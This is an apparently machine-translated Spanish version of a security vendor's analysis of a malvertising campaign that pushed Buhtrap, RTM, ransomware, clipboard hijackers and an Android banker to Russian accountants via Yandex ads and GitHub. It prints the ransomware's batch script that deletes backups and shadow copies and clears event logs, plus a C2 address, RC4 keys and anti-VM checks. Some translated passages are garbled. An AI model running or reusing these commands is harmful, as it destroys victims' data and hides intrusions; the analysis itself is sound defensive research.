Para atacar a los contadores en un ciberataque, puede utilizar los documentos de trabajo que buscan en línea. Esto es más o menos lo que un grupo cibernético ha estado haciendo durante los últimos meses: distribuir puertas traseras conocidas. и , así como cifradores y software para robar criptomonedas. La mayoría de los objetivos se encuentran en Rusia. El ataque se llevó a cabo mediante la colocación de publicidad maliciosa en Yandex.Direct. Las víctimas potenciales fueron dirigidas a un sitio web donde se les pidió que descargaran un archivo malicioso disfrazado de plantilla de documento. Yandex eliminó la publicidad maliciosa después de nuestra advertencia.
El código fuente de Buhtrap se filtró en línea en el pasado para que cualquiera pueda usarlo. No tenemos información sobre la disponibilidad del código RTM.
En esta publicación le diremos cómo los atacantes distribuyeron malware usando Yandex.Direct y lo alojaron en GitHub. La publicación concluirá con un análisis técnico del malware.
Buhtrap y RTM vuelven al negocio
Mecanismo de propagación y víctimas.
Las diversas cargas útiles entregadas a las víctimas comparten un mecanismo de propagación común. Todos los archivos maliciosos creados por los atacantes se colocaron en dos repositorios de GitHub diferentes.
Normalmente, el repositorio contenía un archivo malicioso descargable, que cambiaba con frecuencia. Dado que GitHub permite ver el historial de cambios de un repositorio, podemos ver qué malware se distribuyó durante un período determinado. Para convencer a la víctima de que descargara el archivo malicioso, se utilizó el sitio web Blanki-shabloni24[.]ru, que se muestra en la figura anterior.
El diseño del sitio y todos los nombres de los archivos maliciosos siguen un único concepto: formularios, plantillas, contratos, muestras, etc. Teniendo en cuenta que el software Buhtrap y RTM ya se han utilizado en ataques a contables en el pasado, asumimos que el La estrategia en la nueva campaña es la misma. La única pregunta es cómo llegó la víctima al sitio web de los atacantes.
Infección
Al menos varias víctimas potenciales que terminaron en este sitio fueron atraídas por publicidad maliciosa. A continuación se muestra una URL de ejemplo:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Como puede ver en el enlace, el banner se publicó en el foro de contabilidad legítimo bb.f2[.]kz. Es importante señalar que los banners aparecieron en diferentes sitios, todos tenían el mismo ID de campaña (blanki_rsya) y la mayoría estaban relacionados con servicios de contabilidad o asistencia legal. La URL muestra que la víctima potencial utilizó la solicitud "descargar formulario de factura", lo que respalda nuestra hipótesis de ataques dirigidos. A continuación se muestran los sitios donde aparecieron los banners y las consultas de búsqueda correspondientes.
- descargar formulario de factura – bb.f2[.]kz
- acuerdo de muestra - Ipopen[.]ru
- muestra de queja de solicitud - 77metrov[.]ru
- formulario de acuerdo - en blanco-dogovor-kupli-prodazhi[.]ru
- modelo de petición judicial - zen.yandex[.]ru
- modelo de queja - yurday[.]ru
- formularios de contrato de muestra – Regforum[.]ru
- formulario de contrato – asistente[.]ru
- modelo de acuerdo de apartamento – napravah[.]com
- muestras de contratos legales - avito[.]ru
Es posible que el sitio Blanki-shabloni24[.]ru se haya configurado para pasar una evaluación visual simple. Normalmente, un anuncio que apunta a un sitio de apariencia profesional con un enlace a GitHub no parece algo obviamente malo. Además, los atacantes subieron archivos maliciosos al repositorio sólo por un período limitado, probablemente durante la campaña. La mayoría de las veces, el repositorio de GitHub contenía un archivo zip vacío o un archivo EXE en blanco. Por lo tanto, los atacantes podrían distribuir publicidad a través de Yandex.Direct en sitios que probablemente fueron visitados por contables que acudieron en respuesta a consultas de búsqueda específicas.
A continuación, veamos las distintas cargas útiles distribuidas de esta manera.
Análisis de carga útil
Cronología de distribución
La campaña maliciosa comenzó a finales de octubre de 2018 y está activa en el momento de escribir este artículo. Dado que todo el repositorio estaba disponible públicamente en GitHub, compilamos una cronología precisa de la distribución de seis familias de malware diferentes (consulte la figura a continuación). Agregamos una línea que muestra cuándo se descubrió el enlace del banner, según lo medido por la telemetría de ESET, para compararlo con el historial de git. Como puede ver, esto se correlaciona bien con la disponibilidad de la carga útil en GitHub. La discrepancia a finales de febrero se puede explicar por el hecho de que no teníamos parte del historial de cambios porque el repositorio fue eliminado de GitHub antes de que pudiéramos obtenerlo en su totalidad.
Figura 1. Cronología de distribución de malware.
Certificados de firma de código
La campaña utilizó múltiples certificados. Algunos estaban firmados por más de una familia de malware, lo que indica además que diferentes muestras pertenecían a la misma campaña. A pesar de la disponibilidad de la clave privada, los operadores no firmaron sistemáticamente los binarios y no utilizaron la clave para todas las muestras. A finales de febrero de 2019, los atacantes comenzaron a crear firmas no válidas utilizando un certificado propiedad de Google del que no tenían la clave privada.
Todos los certificados involucrados en la campaña y las familias de malware que firman se enumeran en la siguiente tabla.
También hemos utilizado estos certificados de firma de código para establecer vínculos con otras familias de malware. Para la mayoría de los certificados, no encontramos muestras que no se hayan distribuido a través de un repositorio de GitHub. Sin embargo, el certificado TOV “MARIYA” se utilizó para firmar el malware perteneciente a la botnet. , adware y mineros. Es poco probable que este malware esté relacionado con esta campaña. Lo más probable es que el certificado se haya comprado en la red oscura.
Win32/Filecoder.Buhtrap
El primer componente que llamó nuestra atención fue el recién descubierto Win32/Filecoder.Buhtrap. Este es un archivo binario de Delphi que a veces se empaqueta. Se distribuyó principalmente entre febrero y marzo de 2019. Se comporta como corresponde a un programa ransomware: busca en unidades locales y carpetas de red y cifra los archivos que encuentra. No necesita una conexión a Internet para verse comprometido porque no contacta al servidor para enviar claves de cifrado. En cambio, agrega un "token" al final del mensaje de rescate y sugiere usar el correo electrónico o Bitmessage para contactar a los operadores.
Para cifrar tantos recursos confidenciales como sea posible, Filecoder.Buhtrap ejecuta un hilo diseñado para cerrar software clave que puede tener controladores de archivos abiertos que contienen información valiosa que podría interferir con el cifrado. Los procesos objetivo son principalmente sistemas de gestión de bases de datos (DBMS). Además, Filecoder.Buhtrap elimina archivos de registro y copias de seguridad para dificultar la recuperación de datos. Para hacer esto, ejecute el script por lotes a continuación.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
Filecoder.Buhtrap utiliza un servicio legítimo de registro de IP en línea diseñado para recopilar información sobre los visitantes del sitio web. Esto tiene como objetivo rastrear a las víctimas del ransomware, que es responsabilidad de la línea de comando:
mshta.exe "javascript:document.write('');"
Los archivos para cifrado se seleccionan si no coinciden con tres listas de exclusión. En primer lugar, los archivos con las siguientes extensiones no están cifrados: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys y .murciélago. En segundo lugar, se excluyen todos los archivos cuya ruta completa contenga cadenas de directorio de la lista siguiente.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
En tercer lugar, ciertos nombres de archivos también quedan excluidos del cifrado, entre ellos el nombre del archivo del mensaje de rescate. La lista se presenta a continuación. Obviamente, todas estas excepciones tienen como objetivo mantener la máquina en funcionamiento, pero con una mínima aptitud para la circulación.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Esquema de cifrado de archivos
Una vez ejecutado, el malware genera un par de claves RSA de 512 bits. El exponente privado (d) y el módulo (n) luego se cifran con una clave pública codificada de 2048 bits (exponente y módulo públicos), empaquetada en zlib y codificada en base64. El código responsable de esto se muestra en la Figura 2.
Figura 2. Resultado de la descompilación de Hex-Rays del proceso de generación del par de claves RSA de 512 bits.
A continuación se muestra un ejemplo de texto sin formato con una clave privada generada, que es un token adjunto al mensaje de rescate.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
La clave pública de los atacantes se proporciona a continuación.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
Los archivos se cifran mediante AES-128-CBC con una clave de 256 bits. Para cada archivo cifrado, se generan una nueva clave y un nuevo vector de inicialización. La información clave se agrega al final del archivo cifrado. Consideremos el formato del archivo cifrado.
Los archivos cifrados tienen el siguiente encabezado:
Los datos del archivo fuente con la adición del valor mágico VEGA se cifran en los primeros 0x5000 bytes. Toda la información de descifrado se adjunta a un archivo con la siguiente estructura:
- El marcador de tamaño de archivo contiene una marca que indica si el archivo tiene un tamaño superior a 0x5000 bytes.
— Blob de clave AES = ZlibCompress(RSAEncrypt(clave AES + IV, clave pública del par de claves RSA generado))
- Blob de clave RSA = ZlibCompress(RSAEncrypt(clave privada RSA generada, clave pública RSA codificada))
Win32/ClipBanker
Win32/ClipBanker es un componente que se distribuyó de forma intermitente desde finales de octubre hasta principios de diciembre de 2018. Su función es monitorear el contenido del portapapeles y busca direcciones de billeteras de criptomonedas. Una vez determinada la dirección de la billetera de destino, ClipBanker la reemplaza con una dirección que se cree que pertenece a los operadores. Las muestras que examinamos no estaban encajonadas ni ofuscadas. El único mecanismo utilizado para enmascarar el comportamiento es el cifrado de cadenas. Las direcciones de billetera del operador se cifran mediante RC4. Las criptomonedas objetivo son Bitcoin, Bitcoin Cash, Dogecoin, Ethereum y Ripple.
Durante el período en que el malware se propagaba a las carteras Bitcoin de los atacantes, se envió una pequeña cantidad a VTS, lo que pone en duda el éxito de la campaña. Además, no hay evidencia que sugiera que estas transacciones estuvieran relacionadas en absoluto con ClipBanker.
Win32/RTM
El componente Win32/RTM se distribuyó durante varios días a principios de marzo de 2019. RTM es un troyano bancario escrito en Delphi, dirigido a sistemas bancarios remotos. En 2017, los investigadores de ESET publicaron de este programa, la descripción sigue siendo relevante. En enero de 2019, Palo Alto Networks también lanzó .
Cargador Buhtrap
Durante algún tiempo, estuvo disponible un descargador en GitHub que no era similar a las herramientas anteriores de Buhtrap. él se vuelve hacia https://94.100.18[.]67/RSS.php?<some_id> para obtener la siguiente etapa y la carga directamente en la memoria. Podemos distinguir dos comportamientos del código de la segunda etapa. En la primera URL, RSS.php pasó directamente la puerta trasera de Buhtrap; esta puerta trasera es muy similar a la que estaba disponible después de que se filtró el código fuente.
Curiosamente, vemos varias campañas con la puerta trasera de Buhtrap y supuestamente están dirigidas por diferentes operadores. En este caso, la principal diferencia es que el backdoor se carga directamente en la memoria y no utiliza el esquema habitual con el proceso de implementación de DLL del que hablamos. . Además, los operadores cambiaron la clave RC4 utilizada para cifrar el tráfico de red al servidor C&C. En la mayoría de las campañas que hemos visto, los operadores no se molestaron en cambiar esta clave.
El segundo comportamiento, más complejo, fue que la URL RSS.php se pasó a otro cargador. Implementó cierta ofuscación, como reconstruir la tabla de importación dinámica. El propósito del gestor de arranque es contactar al servidor C&C. [.]com/api/F27F84EDA4D13B15/2, envíe los registros y espere una respuesta. Procesa la respuesta como un blob, la carga en la memoria y la ejecuta. La carga útil que vimos ejecutando este cargador era la misma puerta trasera de Buhtrap, pero puede haber otros componentes.
Android/Spy.Banker
Curiosamente, también se encontró un componente para Android en el repositorio de GitHub. Estuvo en la sucursal principal solo un día: el 1 de noviembre de 2018. Aparte de publicarse en GitHub, la telemetría de ESET no encuentra evidencia de que este malware se esté distribuyendo.
El componente se alojó como un paquete de aplicaciones de Android (APK). Está muy confuso. El comportamiento malicioso está oculto en un JAR cifrado ubicado en el APK. Se cifra con RC4 usando esta clave:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Se utilizan la misma clave y algoritmo para cifrar cadenas. JAR se encuentra en APK_ROOT + image/files. Los primeros 4 bytes del archivo contienen la longitud del JAR cifrado, que comienza inmediatamente después del campo de longitud.
Después de descifrar el archivo, descubrimos que era Anubis, anteriormente banquero para Android. El malware tiene las siguientes características:
- grabando desde un micrófono
- tomando capturas de pantalla
- obteniendo coordenadas GPS
- registrador de teclas
- cifrado de datos del dispositivo y demanda de rescate
- spam
Curiosamente, el banquero utilizó Twitter como canal de comunicación de respaldo para obtener otro servidor C&C. La muestra que analizamos utilizó la cuenta @JonesTrader, pero en el momento del análisis ya estaba bloqueada.
El banquero contiene una lista de aplicaciones de destino en el dispositivo Android. Es más larga que la lista obtenida en el estudio de Sophos. La lista incluye muchas aplicaciones bancarias, programas de compras en línea como Amazon y eBay y servicios de criptomonedas.
MSIL/ClipBanker.IH
El último componente distribuido como parte de esta campaña fue el ejecutable .NET de Windows, que apareció en marzo de 2019. La mayoría de las versiones estudiadas estaban empaquetadas con ConfuserEx v1.0.0. Al igual que ClipBanker, este componente utiliza el portapapeles. Su objetivo es una amplia gama de criptomonedas, así como ofertas en Steam. Además, utiliza el servicio IP Logger para robar la clave WIF privada de Bitcoin.
Mecanismos de Protección
Además de los beneficios que ofrece ConfuserEx para prevenir la depuración, el volcado y la manipulación, el componente incluye la capacidad de detectar productos antivirus y máquinas virtuales.
Para verificar que se ejecuta en una máquina virtual, el malware utiliza la línea de comando WMI (WMIC) incorporada de Windows para solicitar información del BIOS, a saber:
wmic bios
Luego, el programa analiza la salida del comando y busca palabras clave: VBOX, VirtualBox, XEN, qemu, bochs, VM.
Para detectar productos antivirus, el malware envía una solicitud del Instrumental de administración de Windows (WMI) al Centro de seguridad de Windows mediante ManagementObjectSearcher API como se muestra a continuación. Después de decodificar desde base64, la llamada tiene este aspecto:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
Figura 3. Proceso de identificación de productos antivirus.
Además, el malware comprueba si , una herramienta para proteger contra ataques al portapapeles y, si se ejecuta, suspende todos los subprocesos en ese proceso, deshabilitando así la protección.
Persistencia
La versión del malware que estudiamos se copia a sí misma %APPDATA%googleupdater.exe y establece el atributo "oculto" para el directorio de Google. Luego ella cambia el valor. SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell en el registro de Windows y agrega la ruta updater.exe. De esta forma, el malware se ejecutará cada vez que el usuario inicie sesión.
Comportamiento malicioso
Al igual que ClipBanker, el malware monitorea el contenido del portapapeles y busca direcciones de billeteras de criptomonedas y, cuando las encuentra, las reemplaza con una de las direcciones del operador. A continuación se muestra una lista de direcciones de destino basadas en lo que se encuentra en el código.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Para cada tipo de dirección existe una expresión regular correspondiente. El valor STEAM_URL se usa para atacar el sistema Steam, como se puede ver en la expresión regular que se usa para definir en el búfer:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Canal de exfiltración
Además de reemplazar direcciones en el búfer, el malware apunta a las claves WIF privadas de las billeteras Bitcoin, Bitcoin Core y Electrum Bitcoin. El programa utiliza plogger.org como canal de exfiltración para obtener la clave privada WIF. Para hacer esto, los operadores agregan datos de clave privada al encabezado HTTP User-Agent, como se muestra a continuación.
Figura 4. Consola del registrador de IP con datos de salida.
Los operadores no utilizaron iplogger.org para exfiltrar billeteras. Probablemente recurrieron a un método diferente debido al límite de 255 caracteres en el campo. User-Agentse muestra en la interfaz web del registrador de IP. En las muestras que estudiamos, el otro servidor de salida se almacenó en la variable de entorno DiscordWebHook. Sorprendentemente, esta variable de entorno no está asignada en ninguna parte del código. Esto sugiere que el malware todavía está en desarrollo y que la variable está asignada a la máquina de prueba del operador.
Hay otra señal de que el programa está en desarrollo. El archivo binario incluye dos URL de iplogger.org y ambas se consultan cuando se extraen datos. En una solicitud a una de estas URL, el valor en el campo Referer está precedido por "DEV /". También encontramos una versión que no estaba empaquetada usando ConfuserEx, el destinatario de esta URL se llama DevFeedbackUrl. Según el nombre de la variable de entorno, creemos que los operadores planean utilizar el servicio legítimo Discord y su sistema de interceptación web para robar billeteras de criptomonedas.
Conclusión
Esta campaña es un ejemplo del uso de servicios publicitarios legítimos en ciberataques. El plan está dirigido a organizaciones rusas, pero no nos sorprendería ver un ataque de este tipo utilizando servicios no rusos. Para evitar riesgos, los usuarios deben confiar en la reputación de la fuente del software que descargan.
Una lista completa de indicadores de compromiso y atributos MITRE ATT&CK está disponible en .
Fuente: habr.com